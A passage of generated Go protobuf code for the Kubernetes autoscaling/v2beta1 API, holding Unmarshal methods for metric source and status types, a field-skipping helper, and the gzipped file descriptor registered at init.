var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: ObjectMetricStatus: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: ObjectMetricStatus: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.Target.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field MetricName", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.MetricName = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.CurrentValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *PodsMetricSource) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: PodsMetricSource: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: PodsMetricSource: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field MetricName", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.MetricName = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field TargetAverageValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.TargetAverageValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *PodsMetricStatus) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: PodsMetricStatus: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: PodsMetricStatus: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field MetricName", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.MetricName = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentAverageValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.CurrentAverageValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *ResourceMetricSource) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: ResourceMetricSource: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: ResourceMetricSource: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Name = k8s_io_api_core_v1.ResourceName(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field TargetAverageUtilization", wireType)
}
var v int32
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
v |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
m.TargetAverageUtilization = &v
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field TargetAverageValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.TargetAverageValue == nil {
m.TargetAverageValue = &k8s_io_apimachinery_pkg_api_resource.Quantity{}
}
if err := m.TargetAverageValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *ResourceMetricStatus) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: ResourceMetricStatus: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: ResourceMetricStatus: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Name = k8s_io_api_core_v1.ResourceName(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentAverageUtilization", wireType)
}
var v int32
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
v |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
m.CurrentAverageUtilization = &v
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentAverageValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.CurrentAverageValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func skipGenerated(dAtA []byte) (n int, err error) {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowGenerated
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
wireType := int(wire & 0x7)
switch wireType {
case 0:
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowGenerated
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
iNdEx++
if dAtA[iNdEx-1] < 0x80 {
break
}
}
return iNdEx, nil
case 1:
iNdEx += 8
return iNdEx, nil
case 2:
var length int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowGenerated
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
length |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
iNdEx += length
if length < 0 {
return 0, ErrInvalidLengthGenerated
}
return iNdEx, nil
case 3:
for {
var innerWire uint64
var start int = iNdEx
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return 0, ErrIntOverflowGenerated
}
if iNdEx >= l {
return 0, io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
innerWire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
innerWireType := int(innerWire & 0x7)
if innerWireType == 4 {
break
}
next, err := skipGenerated(dAtA[start:])
if err != nil {
return 0, err
}
iNdEx = start + next
}
return iNdEx, nil
case 4:
return iNdEx, nil
case 5:
iNdEx += 4
return iNdEx, nil
default:
return 0, fmt.Errorf("proto: illegal wireType %d", wireType)
}
}
panic("unreachable")
}
var (
ErrInvalidLengthGenerated = fmt.Errorf("proto: negative length found during unmarshaling")
ErrIntOverflowGenerated = fmt.Errorf("proto: integer overflow")
)
func init() {
proto.RegisterFile("k8s.io/kubernetes/vendor/k8s.io/api/autoscaling/v2beta1/generated.proto", fileDescriptorGenerated)
}
var fileDescriptorGenerated = []byte{
// 1316 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x57, 0xcd, 0x6f, 0x1b, 0x45,
0x14, 0x8f, 0x1d, 0x27, 0x0d, 0xe3, 0x34, 0x29, 0xd3, 0xaa, 0x75, 0x53, 0x6a, 0x47, 0x2b, 0x84,
0x4a, 0x45, 0x77, 0x5b, 0x13, 0x3e, 0x24, 0x84, 0x44, 0x6c, 0x44, 0x5b, 0x91, 0xb4, 0x65, 0x9a,
0x56, 0x08, 0x0a, 0x62, 0xb2, 0x3b, 0x75, 0x86, 0x78, 0x3f, 0x34, 0x33, 0xb6, 0x48, 0x11, 0x12,
0x17, 0xee, 0x1c, 0x40, 0xfc, 0x15, 0x5c, 0xe1, 0x0c, 0x12, 0x52, 0x85, 0x38, 0xf4, 0x58, 0x84,
0x64, 0x51, 0xf3, 0x5f, 0xf4, 0x84, 0xe6, 0xc3, 0xfb, 0x61, 0x7b, 0xe3, 0xc4, 0x44, 0xc0, 0xcd,
0x3b, 0xef, 0xf7, 0x7e, 0xef, 0xbd, 0xdf, 0xbc, 0x79, 0x33, 0x06, 0x57, 0x77, 0x5f, 0xe7, 0x36,
0x0d, 0x9d, 0xdd, 0xce, 0x36, 0x61, 0x01, 0x11, 0x84, 0x3b, 0x5d, 0x12, 0x78, 0x21, 0x73, 0x8c,
0x01, 0x47, 0xd4, 0xc1, 0x1d, 0x11, 0x72, 0x17, 0xb7, 0x69, 0xd0, 0x72, 0xba, 0xf5, 0x6d, 0x22,
0xf0, 0x15, 0xa7, 0x45, 0x02, 0xc2, 0xb0, 0x20, 0x9e, 0x1d, 0xb1, 0x50, 0x84, 0xb0, 0xaa, 0xf1,
0x36, 0x8e, 0xa8, 0x9d, 0xc2, 0xdb, 0x06, 0xbf, 0x72, 0xa9, 0x45, 0xc5, 0x4e, 0x67, 0xdb, 0x76,
0x43, 0xdf, 0x69, 0x85, 0xad, 0xd0, 0x51, 0x6e, 0xdb, 0x9d, 0xfb, 0xea, 0x4b, 0x7d, 0xa8, 0x5f,
0x9a, 0x6e, 0xc5, 0x4a, 0x85, 0x77, 0x43, 0x46, 0x9c, 0xee, 0x48, 0xc8, 0x95, 0xb5, 0x04, 0xe3,
0x63, 0x77, 0x87, 0x06, 0x84, 0xed, 0x39, 0xd1, 0x6e, 0x4b, 0x39, 0x31, 0xc2, 0xc3, 0x0e, 0x73,
0xc9, 0xa1, 0xbc, 0xb8, 0xe3, 0x13, 0x81, 0xc7, 0xc5, 0x72, 0xf2, 0xbc, 0x58, 0x27, 0x10, 0xd4,
0x1f, 0x0d, 0xf3, 0xea, 0x24, 0x07, 0xee, 0xee, 0x10, 0x1f, 0x8f, 0xf8, 0xbd, 0x9c, 0xe7, 0xd7,
0x11, 0xb4, 0xed, 0xd0, 0x40, 0x70, 0xc1, 0x86, 0x9d, 0xac, 0x6f, 0x0b, 0xe0, 0x5c, 0x93, 0x85,
0x9c, 0xdf, 0x25, 0x8c, 0xd3, 0x30, 0xb8, 0xb9, 0xfd, 0x29, 0x71, 0x05, 0x22, 0xf7, 0x09, 0x23,
0x81, 0x4b, 0xe0, 0x2a, 0x28, 0xed, 0xd2, 0xc0, 0xab, 0x14, 0x56, 0x0b, 0x17, 0x9e, 0x69, 0x2c,
0x3e, 0xec, 0xd5, 0x66, 0xfa, 0xbd, 0x5a, 0xe9, 0x5d, 0x1a, 0x78, 0x48, 0x59, 0x24, 0x22, 0xc0,
0x3e, 0xa9, 0x14, 0xb3, 0x88, 0x1b, 0xd8, 0x27, 0x48, 0x59, 0x60, 0x1d, 0x00, 0x1c, 0x51, 0x13,
0xa0, 0x32, 0xab, 0x70, 0xd0, 0xe0, 0xc0, 0xfa, 0xad, 0xeb, 0xc6, 0x82, 0x52, 0x28, 0xeb, 0xa7,
0x22, 0x38, 0x73, 0x2d, 0x64, 0xf4, 0x41, 0x18, 0x08, 0xdc, 0xbe, 0x15, 0x7a, 0xeb, 0xa6, 0x33,
0x08, 0x83, 0x9f, 0x80, 0x05, 0x29, 0xb6, 0x87, 0x05, 0x56, 0x79, 0x95, 0xeb, 0x97, 0xed, 0xa4,
0x87, 0xe2, 0xda, 0xed, 0x68, 0xb7, 0x25, 0x17, 0xb8, 0x2d, 0xd1, 0x76, 0xf7, 0x8a, 0xad, 0x8b,
0xdb, 0x24, 0x02, 0x27, 0xf1, 0x93, 0x35, 0x14, 0xb3, 0xc2, 0x8f, 0x40, 0x89, 0x47, 0xc4, 0x55,
0x35, 0x95, 0xeb, 0x6f, 0xd8, 0xfb, 0x77, 0xa8, 0x9d, 0x93, 0xe8, 0xed, 0x88, 0xb8, 0x89, 0x20,
0xf2, 0x0b, 0x29, 0x5a, 0x48, 0xc0, 0x3c, 0x17, 0x58, 0x74, 0xb8, 0x12, 0xa3, 0x5c, 0x7f, 0x73,
0xda, 0x00, 0x8a, 0xa4, 0xb1, 0x64, 0x42, 0xcc, 0xeb, 0x6f, 0x64, 0xc8, 0xad, 0xaf, 0x66, 0xc1,
0x6a, 0x8e, 0x67, 0x33, 0x0c, 0x3c, 0x2a, 0x68, 0x18, 0xc0, 0x6b, 0xa0, 0x24, 0xf6, 0x22, 0x62,
0x36, 0x78, 0x6d, 0x90, 0xed, 0xd6, 0x5e, 0x44, 0x9e, 0xf6, 0x6a, 0xcf, 0x4f, 0xf2, 0x97, 0x38,
0xa4, 0x18, 0xe0, 0x46, 0x5c, 0x55, 0x31, 0xc3, 0x65, 0xd2, 0x7a, 0xda, 0xab, 0x8d, 0x39, 0x9a,
0x76, 0xcc, 0x94, 0x4d, 0x1e, 0x76, 0x01, 0x6c, 0x63, 0x2e, 0xb6, 0x18, 0x0e, 0xb8, 0x8e, 0x44,
0x7d, 0x62, 0xf4, 0xba, 0x78, 0xb0, 0xed, 0x96, 0x1e, 0x8d, 0x15, 0x93, 0x05, 0xdc, 0x18, 0x61,
0x43, 0x63, 0x22, 0xc0, 0x17, 0xc0, 0x3c, 0x23, 0x98, 0x87, 0x41, 0xa5, 0xa4, 0xaa, 0x88, 0xc5,
0x45, 0x6a, 0x15, 0x19, 0x2b, 0x7c, 0x11, 0x1c, 0xf3, 0x09, 0xe7, 0xb8, 0x45, 0x2a, 0x73, 0x0a,
0xb8, 0x6c, 0x80, 0xc7, 0x36, 0xf5, 0x32, 0x1a, 0xd8, 0xad, 0xdf, 0x0b, 0xe0, 0x5c, 0x8e, 0x8e,
0x1b, 0x94, 0x0b, 0x78, 0x6f, 0xa4, 0x9f, 0xed, 0x83, 0x15, 0x28, 0xbd, 0x55, 0x37, 0x9f, 0x30,
0xb1, 0x17, 0x06, 0x2b, 0xa9, 0x5e, 0xbe, 0x07, 0xe6, 0xa8, 0x20, 0xbe, 0xdc, 0x95, 0xd9, 0x0b,
0xe5, 0xfa, 0x6b, 0x53, 0xf6, 0x5a, 0xe3, 0xb8, 0x89, 0x31, 0x77, 0x5d, 0xb2, 0x21, 0x4d, 0x6a,
0xfd, 0x51, 0xcc, 0xad, 0x4d, 0x36, 0x3c, 0xfc, 0x1c, 0x2c, 0xa9, 0xaf, 0x2d, 0xcc, 0x5a, 0x44,
0xce, 0x15, 0x53, 0xe1, 0xc4, 0x33, 0xb5, 0xcf, 0x50, 0x6a, 0x9c, 0x36, 0xa9, 0x2c, 0xdd, 0xce,
0x50, 0xa3, 0xa1, 0x50, 0xf0, 0x0a, 0x28, 0xfb, 0x34, 0x40, 0x24, 0x6a, 0x53, 0x17, 0xeb, 0xb6,
0x9c, 0x6b, 0x2c, 0xf7, 0x7b, 0xb5, 0xf2, 0x66, 0xb2, 0x8c, 0xd2, 0x18, 0xf8, 0x0a, 0x28, 0xfb,
0xf8, 0xb3, 0xd8, 0x65, 0x56, 0xb9, 0x9c, 0x34, 0xf1, 0xca, 0x9b, 0x89, 0x09, 0xa5, 0x71, 0xf0,
0x8e, 0xec, 0x06, 0xc1, 0xa8, 0xcb, 0x2b, 0x25, 0x25, 0xf3, 0xc5, 0x49, 0xf5, 0x6d, 0x2a, 0xb8,
0x1a, 0x11, 0xa9, 0xce, 0x51, 0x14, 0x68, 0xc0, 0x65, 0xfd, 0x50, 0x02, 0xe7, 0xf7, 0x3d, 0xfb,
0xf0, 0x1d, 0x00, 0xc3, 0x6d, 0x4e, 0x58, 0x97, 0x78, 0x57, 0xf5, 0x68, 0x97, 0x33, 0x56, 0x6a,
0x3c, 0xdb, 0x38, 0x2d, 0xdb, 0xfe, 0xe6, 0x88, 0x15, 0x8d, 0xf1, 0x80, 0x2e, 0x38, 0x2e, 0x0f,
0x83, 0x16, 0x94, 0x9a, 0x71, 0x7e, 0xb8, 0x93, 0xf6, 0x6c, 0xbf, 0x57, 0x3b, 0xbe, 0x91, 0x26,
0x41, 0x59, 0x4e, 0xb8, 0x0e, 0x96, 0xdd, 0x0e, 0x63, 0x24, 0x10, 0x43, 0x02, 0x9f, 0x31, 0x0a,
0x2c, 0x37, 0xb3, 0x66, 0x34, 0x8c, 0x97, 0x14, 0x1e, 0xe1, 0x94, 0x11, 0x2f, 0xa6, 0x28, 0x65,
0x29, 0xde, 0xce, 0x9a, 0xd1, 0x30, 0x1e, 0xb6, 0xc1, 0x92, 0x61, 0x35, 0x7a, 0x57, 0xe6, 0xd4,
0x96, 0xbd, 0x74, 0xc0, 0x2d, 0xd3, 0x43, 0x37, 0xee, 0xc1, 0x66, 0x86, 0x0b, 0x0d, 0x71, 0x43,
0x01, 0x80, 0x3b, 0x18, 0x71, 0xbc, 0x32, 0xaf, 0x22, 0xbd, 0x35, 0xe5, 0x19, 0x8c, 0x67, 0x65,
0x72, 0x7d, 0xc5, 0x4b, 0x1c, 0xa5, 0xe2, 0x58, 0xbf, 0x16, 0x01, 0x48, 0x3a, 0x0c, 0xae, 0x65,
0x86, 0xfc, 0xea, 0xd0, 0x90, 0x3f, 0x61, 0x90, 0xea, 0xd5, 0x93, 0x1a, 0xe8, 0x77, 0xc1, 0x7c,
0xa8, 0x4e, 0x9e, 0x69, 0x86, 0xfa, 0xa4, 0xb4, 0xe3, 0xbb, 0x34, 0x66, 0x6b, 0x00, 0x39, 0x3a,
0xcd, 0xf9, 0x35, 0x6c, 0xf0, 0x06, 0x28, 0x45, 0xa1, 0x37, 0xb8, 0xfc, 0x2e, 0x4f, 0x62, 0xbd,
0x15, 0x7a, 0x3c, 0xc3, 0xb9, 0x20, 0x73, 0x97, 0xab, 0x48, 0xf1, 0xc0, 0x8f, 0xc1, 0xc2, 0xe0,
0xcd, 0xa6, 0x9a, 0xa1, 0x5c, 0x5f, 0x9b, 0xc4, 0x89, 0x0c, 0x3e, 0xc3, 0xbb, 0x28, 0x27, 0xe8,
0xc0, 0x82, 0x62, 0x4e, 0xeb, 0xb7, 0x22, 0x58, 0x4c, 0xef, 0xfd, 0x7f, 0x22, 0xa7, 0xee, 0xba,
0xa3, 0x95, 0x53, 0x73, 0x1e, 0xbd, 0x9c, 0x9a, 0x37, 0x4f, 0xce, 0x6f, 0x8a, 0x00, 0x8e, 0x76,
0x0a, 0x74, 0xc1, 0xbc, 0x50, 0x93, 0xfb, 0x28, 0x6e, 0x88, 0xf8, 0xd6, 0x36, 0x97, 0x81, 0xa1,
0x96, 0x4f, 0x51, 0x3d, 0x5b, 0x6f, 0x24, 0x4f, 0xd6, 0xf8, 0x2c, 0x6d, 0xc6, 0x16, 0x94, 0x42,
0x41, 0x02, 0xca, 0xda, 0xfb, 0x2e, 0x6e, 0x77, 0x06, 0x4f, 0x90, 0x7d, 0x6f, 0x68, 0x7b, 0x50,
0xab, 0xfd, 0x5e, 0x07, 0x07, 0x82, 0x8a, 0xbd, 0xe4, 0x0a, 0xd9, 0x4a, 0xa8, 0x50, 0x9a, 0xd7,
0xfa, 0x6e, 0x58, 0x16, 0xdd, 0x6b, 0xff, 0x5b, 0x59, 0x76, 0xc0, 0xa2, 0x19, 0x75, 0xff, 0x44,
0x97, 0x53, 0x26, 0xca, 0x62, 0x33, 0xc5, 0x85, 0x32, 0xcc, 0xd6, 0xcf, 0x05, 0x70, 0x62, 0x78,
0x08, 0x0c, 0xa5, 0x5c, 0x38, 0x50, 0xca, 0x0f, 0x00, 0xd4, 0x05, 0xaf, 0x77, 0x09, 0xc3, 0x2d,
0xa2, 0x13, 0x2f, 0x4e, 0x95, 0x78, 0xfc, 0xae, 0xdc, 0x1a, 0x61, 0x44, 0x63, 0xa2, 0x58, 0xbf,
0x64, 0x8b, 0xd0, 0x9b, 0x3b, 0x4d, 0x11, 0x5f, 0x80, 0x93, 0x46, 0x9d, 0x23, 0xa8, 0xe2, 0x9c,
0x09, 0x76, 0xb2, 0x39, 0x4a, 0x89, 0xc6, 0xc5, 0xb1, 0xbe, 0x2f, 0x82, 0x53, 0xe3, 0xa6, 0x27,
0x6c, 0x9a, 0xff, 0x81, 0xba, 0x0a, 0x27, 0xfd, 0x3f, 0xf0, 0x69, 0xaf, 0x56, 0x1b, 0xf3, 0xf4,
0x1f, 0xd0, 0xa4, 0xfe, 0x2a, 0xbe, 0x0f, 0x2a, 0x19, 0xed, 0xee, 0x08, 0xda, 0xa6, 0x0f, 0xf4,
0xa3, 0x46, 0x3f, 0xdf, 0x9e, 0xeb, 0xf7, 0x6a, 0x95, 0xad, 0x1c, 0x0c, 0xca, 0xf5, 0x96, 0xff,
0x27, 0xc6, 0xec, 0xfd, 0x74, 0x4d, 0x7b, 0xfa, 0x10, 0xfb, 0xfe, 0xe3, 0xa8, 0x5e, 0x7a, 0xef,
0x8f, 0x44, 0xaf, 0x0f, 0xc1, 0xd9, 0xec, 0x26, 0x8d, 0x0a, 0x76, 0xbe, 0xdf, 0xab, 0x9d, 0x6d,
0xe6, 0x81, 0x50, 0xbe, 0x7f, 0x5e, 0xa7, 0xcd, 0xfe, 0x3b, 0x9d, 0xd6, 0xb8, 0xf4, 0xf0, 0x49,
0x75, 0xe6, 0xd1, 0x93, 0xea, 0xcc, 0xe3, 0x27, 0xd5, 0x99, 0x2f, 0xfb, 0xd5, 0xc2, 0xc3, 0x7e,
0xb5, 0xf0, 0xa8, 0x5f, 0x2d, 0x3c, 0xee, 0x57, 0x0b, 0x7f, 0xf6, 0xab, 0x85, 0xaf, 0xff, 0xaa,
0xce, 0x7c, 0x70, 0xcc, 0xcc, 0xbd, 0xbf, 0x03, 0x00, 0x00, 0xff, 0xff, 0xac, 0xf1, 0x6a, 0x4f,
